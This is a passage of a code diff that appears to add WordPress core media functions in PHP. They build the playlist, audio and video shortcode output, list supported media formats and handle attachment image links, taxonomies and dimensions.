+ *     @type bool    $tracknumbers Whether to show or hide the numbers next to entries in the playlist. Default true.
+ *     @type bool    $images       Show or hide the video or audio thumbnail (Featured Image/post
+ *                                 thumbnail). Default true.
+ *     @type bool    $artists      Whether to show or hide artist name in the playlist. Default true.
+ * }
+ *
+ * @return string Playlist output. Empty string if the passed type is unsupported.
+ */
+function wp_playlist_shortcode( $attr ) {
+	global $content_width;
+	$post = get_post();
+
+	static $instance = 0;
+	$instance++;
+
+	if ( ! empty( $attr['ids'] ) ) {
+		// 'ids' is explicitly ordered, unless you specify otherwise.
+		if ( empty( $attr['orderby'] ) ) {
+			$attr['orderby'] = 'post__in';
+		}
+		$attr['include'] = $attr['ids'];
+	}
+
+	/**
+	 * Filters the playlist output.
+	 *
+	 * Passing a non-empty value to the filter will short-circuit generation
+	 * of the default playlist output, returning the passed value instead.
+	 *
+	 * @since 3.9.0
+	 * @since 4.2.0 The `$instance` parameter was added.
+	 *
+	 * @param string $output   Playlist output. Default empty.
+	 * @param array  $attr     An array of shortcode attributes.
+	 * @param int    $instance Unique numeric ID of this playlist shortcode instance.
+	 */
+	$output = apply_filters( 'post_playlist', '', $attr, $instance );
+	if ( $output != '' ) {
+		return $output;
+	}
+
+	$atts = shortcode_atts( array(
+		'type'		=> 'audio',
+		'order'		=> 'ASC',
+		'orderby'	=> 'menu_order ID',
+		'id'		=> $post ? $post->ID : 0,
+		'include'	=> '',
+		'exclude'   => '',
+		'style'		=> 'light',
+		'tracklist' => true,
+		'tracknumbers' => true,
+		'images'	=> true,
+		'artists'	=> true
+	), $attr, 'playlist' );
+
+	$id = intval( $atts['id'] );
+
+	if ( $atts['type'] !== 'audio' ) {
+		$atts['type'] = 'video';
+	}
+
+	$args = array(
+		'post_status' => 'inherit',
+		'post_type' => 'attachment',
+		'post_mime_type' => $atts['type'],
+		'order' => $atts['order'],
+		'orderby' => $atts['orderby']
+	);
+
+	if ( ! empty( $atts['include'] ) ) {
+		$args['include'] = $atts['include'];
+		$_attachments = get_posts( $args );
+
+		$attachments = array();
+		foreach ( $_attachments as $key => $val ) {
+			$attachments[$val->ID] = $_attachments[$key];
+		}
+	} elseif ( ! empty( $atts['exclude'] ) ) {
+		$args['post_parent'] = $id;
+		$args['exclude'] = $atts['exclude'];
+		$attachments = get_children( $args );
+	} else {
+		$args['post_parent'] = $id;
+		$attachments = get_children( $args );
+	}
+
+	if ( ! empty( $args['post_parent'] ) ) {
+		$post_parent = get_post( $id );
+
+		// terminate the shortcode execution if user cannot read the post or password-protected
+		if ( ! current_user_can( 'read_post', $post_parent->ID ) || post_password_required( $post_parent ) ) {
+			return '';
+		}
+	}
+
+	if ( empty( $attachments ) ) {
+		return '';
+	}
+
+	if ( is_feed() ) {
+		$output = "\n";
+		foreach ( $attachments as $att_id => $attachment ) {
+			$output .= wp_get_attachment_link( $att_id ) . "\n";
+		}
+		return $output;
+	}
+
+	$outer = 22; // default padding and border of wrapper
+
+	$default_width = 640;
+	$default_height = 360;
+
+	$theme_width = empty( $content_width ) ? $default_width : ( $content_width - $outer );
+	$theme_height = empty( $content_width ) ? $default_height : round( ( $default_height * $theme_width ) / $default_width );
+
+	$data = array(
+		'type' => $atts['type'],
+		// don't pass strings to JSON, will be truthy in JS
+		'tracklist' => wp_validate_boolean( $atts['tracklist'] ),
+		'tracknumbers' => wp_validate_boolean( $atts['tracknumbers'] ),
+		'images' => wp_validate_boolean( $atts['images'] ),
+		'artists' => wp_validate_boolean( $atts['artists'] ),
+	);
+
+	$tracks = array();
+	foreach ( $attachments as $attachment ) {
+		$url = wp_get_attachment_url( $attachment->ID );
+		$ftype = wp_check_filetype( $url, wp_get_mime_types() );
+		$track = array(
+			'src' => $url,
+			'type' => $ftype['type'],
+			'title' => $attachment->post_title,
+			'caption' => $attachment->post_excerpt,
+			'description' => $attachment->post_content
+		);
+
+		$track['meta'] = array();
+		$meta = wp_get_attachment_metadata( $attachment->ID );
+		if ( ! empty( $meta ) ) {
+
+			foreach ( wp_get_attachment_id3_keys( $attachment ) as $key => $label ) {
+				if ( ! empty( $meta[ $key ] ) ) {
+					$track['meta'][ $key ] = $meta[ $key ];
+				}
+			}
+
+			if ( 'video' === $atts['type'] ) {
+				if ( ! empty( $meta['width'] ) && ! empty( $meta['height'] ) ) {
+					$width = $meta['width'];
+					$height = $meta['height'];
+					$theme_height = round( ( $height * $theme_width ) / $width );
+				} else {
+					$width = $default_width;
+					$height = $default_height;
+				}
+
+				$track['dimensions'] = array(
+					'original' => compact( 'width', 'height' ),
+					'resized' => array(
+						'width' => $theme_width,
+						'height' => $theme_height
+					)
+				);
+			}
+		}
+
+		if ( $atts['images'] ) {
+			$thumb_id = get_post_thumbnail_id( $attachment->ID );
+			if ( ! empty( $thumb_id ) ) {
+				list( $src, $width, $height ) = wp_get_attachment_image_src( $thumb_id, 'full' );
+				$track['image'] = compact( 'src', 'width', 'height' );
+				list( $src, $width, $height ) = wp_get_attachment_image_src( $thumb_id, 'thumbnail' );
+				$track['thumb'] = compact( 'src', 'width', 'height' );
+			} else {
+				$src = wp_mime_type_icon( $attachment->ID );
+				$width = 48;
+				$height = 64;
+				$track['image'] = compact( 'src', 'width', 'height' );
+				$track['thumb'] = compact( 'src', 'width', 'height' );
+			}
+		}
+
+		$tracks[] = $track;
+	}
+	$data['tracks'] = $tracks;
+
+	$safe_type = esc_attr( $atts['type'] );
+	$safe_style = esc_attr( $atts['style'] );
+
+	ob_start();
+
+	if ( 1 === $instance ) {
+		/**
+		 * Prints and enqueues playlist scripts, styles, and JavaScript templates.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @param string $type  Type of playlist. Possible values are 'audio' or 'video'.
+		 * @param string $style The 'theme' for the playlist. Core provides 'light' and 'dark'.
+		 */
+		do_action( 'wp_playlist_scripts', $atts['type'], $atts['style'] );
+	} ?>
+<div class="wp-playlist wp-<?php echo $safe_type ?>-playlist wp-playlist-<?php echo $safe_style ?>">
+	<?php if ( 'audio' === $atts['type'] ): ?>
+	<div class="wp-playlist-current-item"></div>
+	<?php endif ?>
+	<<?php echo $safe_type ?> controls="controls" preload="none" width="<?php
+		echo (int) $theme_width;
+	?>"<?php if ( 'video' === $safe_type ):
+		echo ' height="', (int) $theme_height, '"';
+	endif; ?>></<?php echo $safe_type ?>>
+	<div class="wp-playlist-next"></div>
+	<div class="wp-playlist-prev"></div>
+	<noscript>
+	<ol><?php
+	foreach ( $attachments as $att_id => $attachment ) {
+		printf( '<li>%s</li>', wp_get_attachment_link( $att_id ) );
+	}
+	?></ol>
+	</noscript>
+	<script type="application/json" class="wp-playlist-script"><?php echo wp_json_encode( $data ) ?></script>
+</div>
+	<?php
+	return ob_get_clean();
+}
+add_shortcode( 'playlist', 'wp_playlist_shortcode' );
+
+/**
+ * Provides a No-JS Flash fallback as a last resort for audio / video.
+ *
+ * @since 3.6.0
+ *
+ * @param string $url The media element URL.
+ * @return string Fallback HTML.
+ */
+function wp_mediaelement_fallback( $url ) {
+	/**
+	 * Filters the Mediaelement fallback output for no-JS.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $output Fallback output for no-JS.
+	 * @param string $url    Media file URL.
+	 */
+	return apply_filters( 'wp_mediaelement_fallback', sprintf( '<a href="%1$s">%1$s</a>', esc_url( $url ) ), $url );
+}
+
+/**
+ * Returns a filtered list of WP-supported audio formats.
+ *
+ * @since 3.6.0
+ *
+ * @return array Supported audio formats.
+ */
+function wp_get_audio_extensions() {
+	/**
+	 * Filters the list of supported audio formats.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param array $extensions An array of support audio formats. Defaults are
+	 *                          'mp3', 'ogg', 'flac', 'm4a', 'wav'.
+	 */
+	return apply_filters( 'wp_audio_extensions', array( 'mp3', 'ogg', 'flac', 'm4a', 'wav' ) );
+}
+
+/**
+ * Returns useful keys to use to lookup data from an attachment's stored metadata.
+ *
+ * @since 3.9.0
+ *
+ * @param WP_Post $attachment The current attachment, provided for context.
+ * @param string  $context    Optional. The context. Accepts 'edit', 'display'. Default 'display'.
+ * @return array Key/value pairs of field keys to labels.
+ */
+function wp_get_attachment_id3_keys( $attachment, $context = 'display' ) {
+	$fields = array(
+		'artist' => __( 'Artist' ),
+		'album' => __( 'Album' ),
+	);
+
+	if ( 'display' === $context ) {
+		$fields['genre']            = __( 'Genre' );
+		$fields['year']             = __( 'Year' );
+		$fields['length_formatted'] = _x( 'Length', 'video or audio' );
+	} elseif ( 'js' === $context ) {
+		$fields['bitrate']          = __( 'Bitrate' );
+		$fields['bitrate_mode']     = __( 'Bitrate Mode' );
+	}
+
+	/**
+	 * Filters the editable list of keys to look up data from an attachment's metadata.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param array   $fields     Key/value pairs of field keys to labels.
+	 * @param WP_Post $attachment Attachment object.
+	 * @param string  $context    The context. Accepts 'edit', 'display'. Default 'display'.
+	 */
+	return apply_filters( 'wp_get_attachment_id3_keys', $fields, $attachment, $context );
+}
+/**
+ * Builds the Audio shortcode output.
+ *
+ * This implements the functionality of the Audio Shortcode for displaying
+ * WordPress mp3s in a post.
+ *
+ * @since 3.6.0
+ *
+ * @staticvar int $instance
+ *
+ * @param array  $attr {
+ *     Attributes of the audio shortcode.
+ *
+ *     @type string $src      URL to the source of the audio file. Default empty.
+ *     @type string $loop     The 'loop' attribute for the `<audio>` element. Default empty.
+ *     @type string $autoplay The 'autoplay' attribute for the `<audio>` element. Default empty.
+ *     @type string $preload  The 'preload' attribute for the `<audio>` element. Default 'none'.
+ *     @type string $class    The 'class' attribute for the `<audio>` element. Default 'wp-audio-shortcode'.
+ *     @type string $style    The 'style' attribute for the `<audio>` element. Default 'width: 100%;'.
+ * }
+ * @param string $content Shortcode content.
+ * @return string|void HTML content to display audio.
+ */
+function wp_audio_shortcode( $attr, $content = '' ) {
+	$post_id = get_post() ? get_the_ID() : 0;
+
+	static $instance = 0;
+	$instance++;
+
+	/**
+	 * Filters the default audio shortcode output.
+	 *
+	 * If the filtered output isn't empty, it will be used instead of generating the default audio template.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $html     Empty variable to be replaced with shortcode markup.
+	 * @param array  $attr     Attributes of the shortcode. @see wp_audio_shortcode()
+	 * @param string $content  Shortcode content.
+	 * @param int    $instance Unique numeric ID of this audio shortcode instance.
+	 */
+	$override = apply_filters( 'wp_audio_shortcode_override', '', $attr, $content, $instance );
+	if ( '' !== $override ) {
+		return $override;
+	}
+
+	$audio = null;
+
+	$default_types = wp_get_audio_extensions();
+	$defaults_atts = array(
+		'src'      => '',
+		'loop'     => '',
+		'autoplay' => '',
+		'preload'  => 'none',
+		'class'    => 'wp-audio-shortcode',
+		'style'    => 'width: 100%;'
+	);
+	foreach ( $default_types as $type ) {
+		$defaults_atts[$type] = '';
+	}
+
+	$atts = shortcode_atts( $defaults_atts, $attr, 'audio' );
+
+	$primary = false;
+	if ( ! empty( $atts['src'] ) ) {
+		$type = wp_check_filetype( $atts['src'], wp_get_mime_types() );
+		if ( ! in_array( strtolower( $type['ext'] ), $default_types ) ) {
+			return sprintf( '<a class="wp-embedded-audio" href="%s">%s</a>', esc_url( $atts['src'] ), esc_html( $atts['src'] ) );
+		}
+		$primary = true;
+		array_unshift( $default_types, 'src' );
+	} else {
+		foreach ( $default_types as $ext ) {
+			if ( ! empty( $atts[ $ext ] ) ) {
+				$type = wp_check_filetype( $atts[ $ext ], wp_get_mime_types() );
+				if ( strtolower( $type['ext'] ) === $ext ) {
+					$primary = true;
+				}
+			}
+		}
+	}
+
+	if ( ! $primary ) {
+		$audios = get_attached_media( 'audio', $post_id );
+		if ( empty( $audios ) ) {
+			return;
+		}
+
+		$audio = reset( $audios );
+		$atts['src'] = wp_get_attachment_url( $audio->ID );
+		if ( empty( $atts['src'] ) ) {
+			return;
+		}
+
+		array_unshift( $default_types, 'src' );
+	}
+
+	/**
+	 * Filters the media library used for the audio shortcode.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $library Media library used for the audio shortcode.
+	 */
+	$library = apply_filters( 'wp_audio_shortcode_library', 'mediaelement' );
+	if ( 'mediaelement' === $library && did_action( 'init' ) ) {
+		wp_enqueue_style( 'wp-mediaelement' );
+		wp_enqueue_script( 'wp-mediaelement' );
+	}
+
+	/**
+	 * Filters the class attribute for the audio shortcode output container.
+	 *
+	 * @since 3.6.0
+	 * @since 4.9.0 The `$atts` parameter was added.
+	 *
+	 * @param string $class CSS class or list of space-separated classes.
+	 * @param array  $atts  Array of audio shortcode attributes.
+	 */
+	$atts['class'] = apply_filters( 'wp_audio_shortcode_class', $atts['class'], $atts );
+
+	$html_atts = array(
+		'class'    => $atts['class'],
+		'id'       => sprintf( 'audio-%d-%d', $post_id, $instance ),
+		'loop'     => wp_validate_boolean( $atts['loop'] ),
+		'autoplay' => wp_validate_boolean( $atts['autoplay'] ),
+		'preload'  => $atts['preload'],
+		'style'    => $atts['style'],
+	);
+
+	// These ones should just be omitted altogether if they are blank
+	foreach ( array( 'loop', 'autoplay', 'preload' ) as $a ) {
+		if ( empty( $html_atts[$a] ) ) {
+			unset( $html_atts[$a] );
+		}
+	}
+
+	$attr_strings = array();
+	foreach ( $html_atts as $k => $v ) {
+		$attr_strings[] = $k . '="' . esc_attr( $v ) . '"';
+	}
+
+	$html = '';
+	if ( 'mediaelement' === $library && 1 === $instance ) {
+		$html .= "<!--[if lt IE 9]><script>document.createElement('audio');</script><![endif]-->\n";
+	}
+	$html .= sprintf( '<audio %s controls="controls">', join( ' ', $attr_strings ) );
+
+	$fileurl = '';
+	$source = '<source type="%s" src="%s" />';
+	foreach ( $default_types as $fallback ) {
+		if ( ! empty( $atts[ $fallback ] ) ) {
+			if ( empty( $fileurl ) ) {
+				$fileurl = $atts[ $fallback ];
+			}
+			$type = wp_check_filetype( $atts[ $fallback ], wp_get_mime_types() );
+			$url = add_query_arg( '_', $instance, $atts[ $fallback ] );
+			$html .= sprintf( $source, $type['type'], esc_url( $url ) );
+		}
+	}
+
+	if ( 'mediaelement' === $library ) {
+		$html .= wp_mediaelement_fallback( $fileurl );
+	}
+	$html .= '</audio>';
+
+	/**
+	 * Filters the audio shortcode output.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $html    Audio shortcode HTML output.
+	 * @param array  $atts    Array of audio shortcode attributes.
+	 * @param string $audio   Audio file.
+	 * @param int    $post_id Post ID.
+	 * @param string $library Media library used for the audio shortcode.
+	 */
+	return apply_filters( 'wp_audio_shortcode', $html, $atts, $audio, $post_id, $library );
+}
+add_shortcode( 'audio', 'wp_audio_shortcode' );
+
+/**
+ * Returns a filtered list of WP-supported video formats.
+ *
+ * @since 3.6.0
+ *
+ * @return array List of supported video formats.
+ */
+function wp_get_video_extensions() {
+	/**
+	 * Filters the list of supported video formats.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param array $extensions An array of support video formats. Defaults are
+	 *                          'mp4', 'm4v', 'webm', 'ogv', 'flv'.
+	 */
+	return apply_filters( 'wp_video_extensions', array( 'mp4', 'm4v', 'webm', 'ogv', 'flv' ) );
+}
+
+/**
+ * Builds the Video shortcode output.
+ *
+ * This implements the functionality of the Video Shortcode for displaying
+ * WordPress mp4s in a post.
+ *
+ * @since 3.6.0
+ *
+ * @global int $content_width
+ * @staticvar int $instance
+ *
+ * @param array  $attr {
+ *     Attributes of the shortcode.
+ *
+ *     @type string $src      URL to the source of the video file. Default empty.
+ *     @type int    $height   Height of the video embed in pixels. Default 360.
+ *     @type int    $width    Width of the video embed in pixels. Default $content_width or 640.
+ *     @type string $poster   The 'poster' attribute for the `<video>` element. Default empty.
+ *     @type string $loop     The 'loop' attribute for the `<video>` element. Default empty.
+ *     @type string $autoplay The 'autoplay' attribute for the `<video>` element. Default empty.
+ *     @type string $preload  The 'preload' attribute for the `<video>` element.
+ *                            Default 'metadata'.
+ *     @type string $class    The 'class' attribute for the `<video>` element.
+ *                            Default 'wp-video-shortcode'.
+ * }
+ * @param string $content Shortcode content.
+ * @return string|void HTML content to display video.
+ */
+function wp_video_shortcode( $attr, $content = '' ) {
+	global $content_width;
+	$post_id = get_post() ? get_the_ID() : 0;
+
+	static $instance = 0;
+	$instance++;
+
+	/**
+	 * Filters the default video shortcode output.
+	 *
+	 * If the filtered output isn't empty, it will be used instead of generating
+	 * the default video template.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @see wp_video_shortcode()
+	 *
+	 * @param string $html     Empty variable to be replaced with shortcode markup.
+	 * @param array  $attr     Attributes of the shortcode. @see wp_video_shortcode()
+	 * @param string $content  Video shortcode content.
+	 * @param int    $instance Unique numeric ID of this video shortcode instance.
+	 */
+	$override = apply_filters( 'wp_video_shortcode_override', '', $attr, $content, $instance );
+	if ( '' !== $override ) {
+		return $override;
+	}
+
+	$video = null;
+
+	$default_types = wp_get_video_extensions();
+	$defaults_atts = array(
+		'src'      => '',
+		'poster'   => '',
+		'loop'     => '',
+		'autoplay' => '',
+		'preload'  => 'metadata',
+		'width'    => 640,
+		'height'   => 360,
+		'class'    => 'wp-video-shortcode',
+	);
+
+	foreach ( $default_types as $type ) {
+		$defaults_atts[$type] = '';
+	}
+
+	$atts = shortcode_atts( $defaults_atts, $attr, 'video' );
+
+	if ( is_admin() ) {
+		// shrink the video so it isn't huge in the admin
+		if ( $atts['width'] > $defaults_atts['width'] ) {
+			$atts['height'] = round( ( $atts['height'] * $defaults_atts['width'] ) / $atts['width'] );
+			$atts['width'] = $defaults_atts['width'];
+		}
+	} else {
+		// if the video is bigger than the theme
+		if ( ! empty( $content_width ) && $atts['width'] > $content_width ) {
+			$atts['height'] = round( ( $atts['height'] * $content_width ) / $atts['width'] );
+			$atts['width'] = $content_width;
+		}
+	}
+
+	$is_vimeo = $is_youtube = false;
+	$yt_pattern = '#^https?://(?:www\.)?(?:youtube\.com/watch|youtu\.be/)#';
+	$vimeo_pattern = '#^https?://(.+\.)?vimeo\.com/.*#';
+
+	$primary = false;
+	if ( ! empty( $atts['src'] ) ) {
+		$is_vimeo = ( preg_match( $vimeo_pattern, $atts['src'] ) );
+		$is_youtube = (  preg_match( $yt_pattern, $atts['src'] ) );
+		if ( ! $is_youtube && ! $is_vimeo ) {
+			$type = wp_check_filetype( $atts['src'], wp_get_mime_types() );
+			if ( ! in_array( strtolower( $type['ext'] ), $default_types ) ) {
+				return sprintf( '<a class="wp-embedded-video" href="%s">%s</a>', esc_url( $atts['src'] ), esc_html( $atts['src'] ) );
+			}
+		}
+
+		if ( $is_vimeo ) {
+		    wp_enqueue_script( 'mediaelement-vimeo' );
+		}
+
+		$primary = true;
+		array_unshift( $default_types, 'src' );
+	} else {
+		foreach ( $default_types as $ext ) {
+			if ( ! empty( $atts[ $ext ] ) ) {
+				$type = wp_check_filetype( $atts[ $ext ], wp_get_mime_types() );
+				if ( strtolower( $type['ext'] ) === $ext ) {
+					$primary = true;
+				}
+			}
+		}
+	}
+
+	if ( ! $primary ) {
+		$videos = get_attached_media( 'video', $post_id );
+		if ( empty( $videos ) ) {
+			return;
+		}
+
+		$video = reset( $videos );
+		$atts['src'] = wp_get_attachment_url( $video->ID );
+		if ( empty( $atts['src'] ) ) {
+			return;
+		}
+
+		array_unshift( $default_types, 'src' );
+	}
+
+	/**
+	 * Filters the media library used for the video shortcode.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $library Media library used for the video shortcode.
+	 */
+	$library = apply_filters( 'wp_video_shortcode_library', 'mediaelement' );
+	if ( 'mediaelement' === $library && did_action( 'init' ) ) {
+		wp_enqueue_style( 'wp-mediaelement' );
+		wp_enqueue_script( 'wp-mediaelement' );
+		wp_enqueue_script( 'mediaelement-vimeo' );
+	}
+
+	// Mediaelement has issues with some URL formats for Vimeo and YouTube, so
+	// update the URL to prevent the ME.js player from breaking.
+	if ( 'mediaelement' === $library ) {
+		if ( $is_youtube ) {
+			// Remove `feature` query arg and force SSL - see #40866.
+			$atts['src'] = remove_query_arg( 'feature', $atts['src'] );
+			$atts['src'] = set_url_scheme( $atts['src'], 'https' );
+		} elseif ( $is_vimeo ) {
+			// Remove all query arguments and force SSL - see #40866.
+			$parsed_vimeo_url = wp_parse_url( $atts['src'] );
+			$vimeo_src = 'https://' . $parsed_vimeo_url['host'] . $parsed_vimeo_url['path'];
+
+			// Add loop param for mejs bug - see #40977, not needed after #39686.
+			$loop = $atts['loop'] ? '1' : '0';
+			$atts['src'] = add_query_arg( 'loop', $loop, $vimeo_src );
+		}
+	}
+
+	/**
+	 * Filters the class attribute for the video shortcode output container.
+	 *
+	 * @since 3.6.0
+	 * @since 4.9.0 The `$atts` parameter was added.
+	 *
+	 * @param string $class CSS class or list of space-separated classes.
+	 * @param array  $atts  Array of video shortcode attributes.
+	 */
+	$atts['class'] = apply_filters( 'wp_video_shortcode_class', $atts['class'], $atts );
+
+	$html_atts = array(
+		'class'    => $atts['class'],
+		'id'       => sprintf( 'video-%d-%d', $post_id, $instance ),
+		'width'    => absint( $atts['width'] ),
+		'height'   => absint( $atts['height'] ),
+		'poster'   => esc_url( $atts['poster'] ),
+		'loop'     => wp_validate_boolean( $atts['loop'] ),
+		'autoplay' => wp_validate_boolean( $atts['autoplay'] ),
+		'preload'  => $atts['preload'],
+	);
+
+	// These ones should just be omitted altogether if they are blank
+	foreach ( array( 'poster', 'loop', 'autoplay', 'preload' ) as $a ) {
+		if ( empty( $html_atts[$a] ) ) {
+			unset( $html_atts[$a] );
+		}
+	}
+
+	$attr_strings = array();
+	foreach ( $html_atts as $k => $v ) {
+		$attr_strings[] = $k . '="' . esc_attr( $v ) . '"';
+	}
+
+	$html = '';
+	if ( 'mediaelement' === $library && 1 === $instance ) {
+		$html .= "<!--[if lt IE 9]><script>document.createElement('video');</script><![endif]-->\n";
+	}
+	$html .= sprintf( '<video %s controls="controls">', join( ' ', $attr_strings ) );
+
+	$fileurl = '';
+	$source = '<source type="%s" src="%s" />';
+	foreach ( $default_types as $fallback ) {
+		if ( ! empty( $atts[ $fallback ] ) ) {
+			if ( empty( $fileurl ) ) {
+				$fileurl = $atts[ $fallback ];
+			}
+			if ( 'src' === $fallback && $is_youtube ) {
+				$type = array( 'type' => 'video/youtube' );
+			} elseif ( 'src' === $fallback && $is_vimeo ) {
+				$type = array( 'type' => 'video/vimeo' );
+			} else {
+				$type = wp_check_filetype( $atts[ $fallback ], wp_get_mime_types() );
+			}
+			$url = add_query_arg( '_', $instance, $atts[ $fallback ] );
+			$html .= sprintf( $source, $type['type'], esc_url( $url ) );
+		}
+	}
+
+	if ( ! empty( $content ) ) {
+		if ( false !== strpos( $content, "\n" ) ) {
+			$content = str_replace( array( "\r\n", "\n", "\t" ), '', $content );
+		}
+		$html .= trim( $content );
+	}
+
+	if ( 'mediaelement' === $library ) {
+		$html .= wp_mediaelement_fallback( $fileurl );
+	}
+	$html .= '</video>';
+
+	$width_rule = '';
+	if ( ! empty( $atts['width'] ) ) {
+		$width_rule = sprintf( 'width: %dpx;', $atts['width'] );
+	}
+	$output = sprintf( '<div style="%s" class="wp-video">%s</div>', $width_rule, $html );
+
+	/**
+	 * Filters the output of the video shortcode.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $output  Video shortcode HTML output.
+	 * @param array  $atts    Array of video shortcode attributes.
+	 * @param string $video   Video file.
+	 * @param int    $post_id Post ID.
+	 * @param string $library Media library used for the video shortcode.
+	 */
+	return apply_filters( 'wp_video_shortcode', $output, $atts, $video, $post_id, $library );
+}
+add_shortcode( 'video', 'wp_video_shortcode' );
+
+/**
+ * Displays previous image link that has the same post parent.
+ *
+ * @since 2.5.0
+ *
+ * @see adjacent_image_link()
+ *
+ * @param string|array $size Optional. Image size. Accepts any valid image size, an array of width and
+ *                           height values in pixels (in that order), 0, or 'none'. 0 or 'none' will
+ *                           default to 'post_title' or `$text`. Default 'thumbnail'.
+ * @param string       $text Optional. Link text. Default false.
+ */
+function previous_image_link( $size = 'thumbnail', $text = false ) {
+	adjacent_image_link(true, $size, $text);
+}
+
+/**
+ * Displays next image link that has the same post parent.
+ *
+ * @since 2.5.0
+ *
+ * @see adjacent_image_link()
+ *
+ * @param string|array $size Optional. Image size. Accepts any valid image size, an array of width and
+ *                           height values in pixels (in that order), 0, or 'none'. 0 or 'none' will
+ *                           default to 'post_title' or `$text`. Default 'thumbnail'.
+ * @param string       $text Optional. Link text. Default false.
+ */
+function next_image_link( $size = 'thumbnail', $text = false ) {
+	adjacent_image_link(false, $size, $text);
+}
+
+/**
+ * Displays next or previous image link that has the same post parent.
+ *
+ * Retrieves the current attachment object from the $post global.
+ *
+ * @since 2.5.0
+ *
+ * @param bool         $prev Optional. Whether to display the next (false) or previous (true) link. Default true.
+ * @param string|array $size Optional. Image size. Accepts any valid image size, or an array of width and height
+ *                           values in pixels (in that order). Default 'thumbnail'.
+ * @param bool         $text Optional. Link text. Default false.
+ */
+function adjacent_image_link( $prev = true, $size = 'thumbnail', $text = false ) {
+	$post = get_post();
+	$attachments = array_values( get_children( array( 'post_parent' => $post->post_parent, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC', 'orderby' => 'menu_order ID' ) ) );
+
+	foreach ( $attachments as $k => $attachment ) {
+		if ( $attachment->ID == $post->ID ) {
+			break;
+		}
+	}
+
+	$output = '';
+	$attachment_id = 0;
+
+	if ( $attachments ) {
+		$k = $prev ? $k - 1 : $k + 1;
+
+		if ( isset( $attachments[ $k ] ) ) {
+			$attachment_id = $attachments[ $k ]->ID;
+			$output = wp_get_attachment_link( $attachment_id, $size, true, false, $text );
+		}
+	}
+
+	$adjacent = $prev ? 'previous' : 'next';
+
+	/**
+	 * Filters the adjacent image link.
+	 *
+	 * The dynamic portion of the hook name, `$adjacent`, refers to the type of adjacency,
+	 * either 'next', or 'previous'.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string $output        Adjacent image HTML markup.
+	 * @param int    $attachment_id Attachment ID
+	 * @param string $size          Image size.
+	 * @param string $text          Link text.
+	 */
+	echo apply_filters( "{$adjacent}_image_link", $output, $attachment_id, $size, $text );
+}
+
+/**
+ * Retrieves taxonomies attached to given the attachment.
+ *
+ * @since 2.5.0
+ * @since 4.7.0 Introduced the `$output` parameter.
+ *
+ * @param int|array|object $attachment Attachment ID, data array, or data object.
+ * @param string           $output     Output type. 'names' to return an array of taxonomy names,
+ *                                     or 'objects' to return an array of taxonomy objects.
+ *                                     Default is 'names'.
+ * @return array Empty array on failure. List of taxonomies on success.
+ */
+function get_attachment_taxonomies( $attachment, $output = 'names' ) {
+	if ( is_int( $attachment ) ) {
+		$attachment = get_post( $attachment );
+	} elseif ( is_array( $attachment ) ) {
+		$attachment = (object) $attachment;
+	}
+	if ( ! is_object($attachment) )
+		return array();
+
+	$file = get_attached_file( $attachment->ID );
+	$filename = basename( $file );
+
+	$objects = array('attachment');
+
+	if ( false !== strpos($filename, '.') )
+		$objects[] = 'attachment:' . substr($filename, strrpos($filename, '.') + 1);
+	if ( !empty($attachment->post_mime_type) ) {
+		$objects[] = 'attachment:' . $attachment->post_mime_type;
+		if ( false !== strpos($attachment->post_mime_type, '/') )
+			foreach ( explode('/', $attachment->post_mime_type) as $token )
+				if ( !empty($token) )
+					$objects[] = "attachment:$token";
+	}
+
+	$taxonomies = array();
+	foreach ( $objects as $object ) {
+		if ( $taxes = get_object_taxonomies( $object, $output ) ) {
+			$taxonomies = array_merge( $taxonomies, $taxes );
+		}
+	}
+
+	if ( 'names' === $output ) {
+		$taxonomies = array_unique( $taxonomies );
+	}
+
+	return $taxonomies;
+}
+
+/**
+ * Retrieves all of the taxonomy names that are registered for attachments.
+ *
+ * Handles mime-type-specific taxonomies such as attachment:image and attachment:video.
+ *
+ * @since 3.5.0
+ *
+ * @see get_taxonomies()
+ *
+ * @param string $output Optional. The type of taxonomy output to return. Accepts 'names' or 'objects'.
+ *                       Default 'names'.
+ * @return array The names of all taxonomy of $object_type.
+ */
+function get_taxonomies_for_attachments( $output = 'names' ) {
+	$taxonomies = array();
+	foreach ( get_taxonomies( array(), 'objects' ) as $taxonomy ) {
+		foreach ( $taxonomy->object_type as $object_type ) {
+			if ( 'attachment' == $object_type || 0 === strpos( $object_type, 'attachment:' ) ) {
+				if ( 'names' == $output )
+					$taxonomies[] = $taxonomy->name;
+				else
+					$taxonomies[ $taxonomy->name ] = $taxonomy;
+				break;
+			}
+		}
+	}
+
+	return $taxonomies;
+}
+
+/**
+ * Create new GD image resource with transparency support
+ *
+ * @todo: Deprecate if possible.
+ *
+ * @since 2.9.0
+ *
+ * @param int $width  Image width in pixels.
+ * @param int $height Image height in pixels..
+ * @return resource The GD image resource.
+ */
+function wp_imagecreatetruecolor($width, $height) {
+	$img = imagecreatetruecolor($width, $height);
+	if ( is_resource($img) && function_exists('imagealphablending') && function_exists('imagesavealpha') ) {
+		imagealphablending($img, false);
+		imagesavealpha($img, true);
+	}
+	return $img;
+}
+
+/**
+ * Based on a supplied width/height example, return the biggest possible dimensions based on the max width/height.
+ *
+ * @since 2.9.0
+ *
+ * @see wp_constrain_dimensions()
+ *
+ * @param int $example_width  The width of an example embed.
+ * @param int $example_height The height of an example embed.
+ * @param int $max_width      The maximum allowed width.
+ * @param int $max_height     The maximum allowed height.
+ * @return array The maximum possible width and height based on the example ratio.
+ */
+function wp_expand_dimensions( $example_width, $example_height, $max_width, $max_height ) {
+	$example_width  = (int) $example_width;
+	$example_height = (int) $example_height;
+	$max_width      = (int) $max_width;
+	$max_height     = (int) $max_height;
+
+	return wp_constrain_dimensions( $example_width * 1000000, $example_height * 1000000, $max_width, $max_height );
+}
+
+/**
+ * Determines the maximum upload size allowed in php.ini.
+ *
+ * @since 2.5.0
+ *
+ * @return int Allowed upload size.
+ */
